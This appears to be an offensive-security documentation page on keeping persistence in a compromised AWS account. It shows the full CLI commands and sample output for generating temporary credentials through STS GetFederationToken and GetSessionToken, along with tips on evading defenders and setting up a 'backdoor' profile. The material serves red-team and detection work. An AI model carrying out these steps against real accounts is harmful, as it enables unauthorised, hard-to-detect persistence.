> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/generating-temporary-aws-credentials-from-iam-user.md).

# Generating Temporary AWS Credentials from IAM User

## Overview

This is an interesting access vector that [threat actors](https://redcanary.com/blog/threat-detection/aws-sts/?utm_source=chatgpt.com) are taking to avoid detection and maintain persistence. By generating temporary credentials (this can be done multiple times to have backups) threat actors can maintain persistence in a target's AWS account. 

* The temporary credentials **remain active** even if the original compromised IAM User has had their access keys deactivated / deleted
* The temporary credentials have whatever permissions the compromised IAM User has at the current time so adding or removing permissions affects the temporary credentials' permissions
* These options **do not work** with IAM Roles

***

### sts:GetFederationToken

{% hint style="warning" %}
The user **must have permission** to execute `sts:GetFederationToken`
{% endhint %}

{% hint style="success" %}
This can throw off defenders because you can name the new identity whatever you want!
{% endhint %}

The following command allows you to generate temporary (15 min - 36 hours) credentials from an IAM User. 

* You can specify any name you want — it doesn't need to be a real user
* You can specify any policy you want (up to 10 managed and/or inline policies) but **you only have the permissions the user running this command has** even if you pass it an administrator policy

{% code overflow="wrap" %}

```bash
aws sts get-federation-token --name sally --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess --duration-seconds 129600

{
    "Credentials": {
        "AccessKeyId": "ASIA[REDACTED]",
        "SecretAccessKey": "pZlpr[REDACTED]",
        "SessionToken": "IQoJb3J[REDACTED]",
        "Expiration": "2025-11-11T08:56:15+00:00"
    },
    "FederatedUser": {
        "FederatedUserId": "111111111111:sally",
        "Arn": "arn:aws:sts::111111111111:federated-user/sally"
    },
    "PackedPolicySize": 7
}
```

{% endcode %}

* The credentials can be configured with `aws --profile sally configure`

{% code overflow="wrap" %}

```bash
aws --profile sally sts get-caller-identity
{
    "UserId": "111111111111:sally",
    "Account": "111111111111",
    "Arn": "arn:aws:sts::111111111111:federated-user/sally"
}
```

{% endcode %}

***

### sts:GetSessionToken

{% hint style="warning" %}
The user needs no permissions to execute this command
{% endhint %}

{% hint style="danger" %}
This is less stealthy because you can't change the session name
{% endhint %}

The following command allows you to generate temporary (15 min - 36 hours) credentials from an IAM User. 

{% code overflow="wrap" %}

```bash
aws --profile tyler sts get-session-token --duration-seconds 129600

{
    "Credentials": {
        "AccessKeyId": "ASIA[REDACTED]",
        "SecretAccessKey": "PTBAG[REDACTED]",
        "SessionToken": "IQoJb3Jp[REDACTED]",
        "Expiration": "2025-11-10T08:47:10+00:00"
    }
}
```

{% endcode %}

* The credentials can be configured with `aws --profile tyler-backdoor configure`

{% code overflow="wrap" %}

```bash
aws --profile tyler-backdoor sts get-caller-identity

{
    "UserId": "AIDA[REDACTED]",
    "Account": "111111111111",
    "Arn": "arn:aws:iam::111111111111:user/tyler"
}
```

{% endcode %}